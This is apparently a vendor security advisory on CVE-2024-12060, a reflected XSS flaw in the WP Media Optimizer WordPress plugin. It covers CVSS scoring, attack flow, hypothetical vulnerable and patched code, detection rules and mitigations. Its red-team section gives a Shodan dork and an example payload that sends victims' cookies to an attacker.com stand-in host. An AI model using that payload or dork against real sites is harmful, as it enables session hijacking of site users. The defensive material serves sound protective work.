CVE-2024-12060

Executive Summary

CVE-2024-12060 is a reflected Cross-Site Scripting (XSS) vulnerability in the WP Media Optimizer (.webp) WordPress plugin, affecting all versions up to and including 1.4.0. The flaw resides in the wpmowebp-css-resources and wpmowebp-js-resources parameters, which lack proper input sanitization and output escaping. An unauthenticated attacker can inject arbitrary web scripts that execute in the context of a victim’s browser if the victim clicks a crafted link. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.1 (Medium) and no known public exploit code or patch at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches as soon as they become available. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised plugin updates or malicious forks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a link
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited script injection
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the plugin’s popularity and the lack of authentication requirements.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the WordPress plugin WP Media Optimizer (.webp). The plugin processes two GET parameters: wpmowebp-css-resources and wpmowebp-js-resources. These parameters are intended to load CSS and JavaScript resources dynamically. However, the plugin fails to sanitize or escape the input before reflecting it back in the HTTP response.

Attack Flow:

1. An attacker crafts a malicious URL containing XSS payloads in one or both parameters.
2. The attacker tricks a victim (e.g., via phishing email or social media) into clicking the link.
3. The victim’s browser sends a request to the vulnerable WordPress site.
4. The plugin processes the parameters and reflects the unsanitized payload in the HTML response.
5. The victim’s browser executes the injected script, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.

Example Malicious URL:

https://target-site.com/?wpmowebp-css-resources=<script>alert('XSS')</script>

The vulnerability is unauthenticated, meaning any visitor to the site can be targeted.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.4.0): The plugin likely uses $_GET['wpmowebp-css-resources'] directly without sanitization, e.g.:

$css_resources = $_GET['wpmowebp-css-resources'];
echo '<link rel="stylesheet" href="' . $css_resources . '">';

Patched Code (Hypothetical): A patch would involve proper input validation and output escaping:

$css_resources = sanitize_text_field($_GET['wpmowebp-css-resources']);
echo '<link rel="stylesheet" href="' . esc_url($css_resources) . '">';

Since no official patch is available, users should consider disabling the plugin or applying a Web Application Firewall (WAF) rule.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Media Optimizer plugin version <= 1.4.0.
• Ability to craft and deliver a malicious link to a victim.

Exploitation Steps:

1. Identify a vulnerable WordPress site (e.g., via Shodan dork http.html:"wp-media-optimizer").
2. Craft a payload to steal cookies:

   https://target-site.com/?wpmowebp-css-resources=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
   

3. Deliver the link via phishing email or social engineering.
4. When the victim clicks, the script executes and sends cookies to the attacker’s server.

No public exploit code is available for this CVE.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing wpmowebp-css-resources or wpmowebp-js-resources with suspicious patterns (e.g., <script>, onerror, javascript:).
• Use WAF rules to block XSS payloads in these parameters.

Defense:

• Disable the plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Educate users about phishing attacks.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing wpmowebp-css-resources or wpmowebp-js-resources with script tags or encoded payloads.
• HTTP Referer: Suspicious referrers from phishing campaigns.
• Log Entries: 200 OK responses to URLs with XSS payloads in the query string.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser.

Detection Engineering

YARA Rule

rule CVE_2024_12060_XSS {
    meta:
        description = "Detects reflected XSS attempts against WP Media Optimizer plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12060"
    strings:
        $param1 = "wpmowebp-css-resources"
        $param2 = "wpmowebp-js-resources"
        $xss1 = /<script[^>]*>/
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/
        $xss3 = /javascript\s*:\s*/
    condition:
        any of ($param*) and any of ($xss*)
}

Sigma Rule

title: Reflected XSS via WP Media Optimizer Plugin
id: 8a3f7c2e-1b4d-4e5f-9a0b-6c7d8e9f0a1b
status: experimental
description: Detects XSS attempts targeting CVE-2024-12060
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains:
            - 'wpmowebp-css-resources'
            - 'wpmowebp-js-resources'
    keywords:
        - '<script'
        - 'onerror'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of these parameters with safe content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12060 Reflected XSS Attempt"; flow:to_server,established; content:"wpmowebp-css-resources"; http_uri; nocase; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a security patch is released.
2. Apply WAF rules to block XSS payloads in the vulnerable parameters.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor must release a patched version that sanitizes and escapes the wpmowebp-css-resources and wpmowebp-js-resources parameters.
• Users should update to the latest version once available.

Workarounds:

• Use a Content Security Policy (CSP) header to restrict script execution.
• Implement input validation at the application level.

Valters IT
Securing Digital Frontiers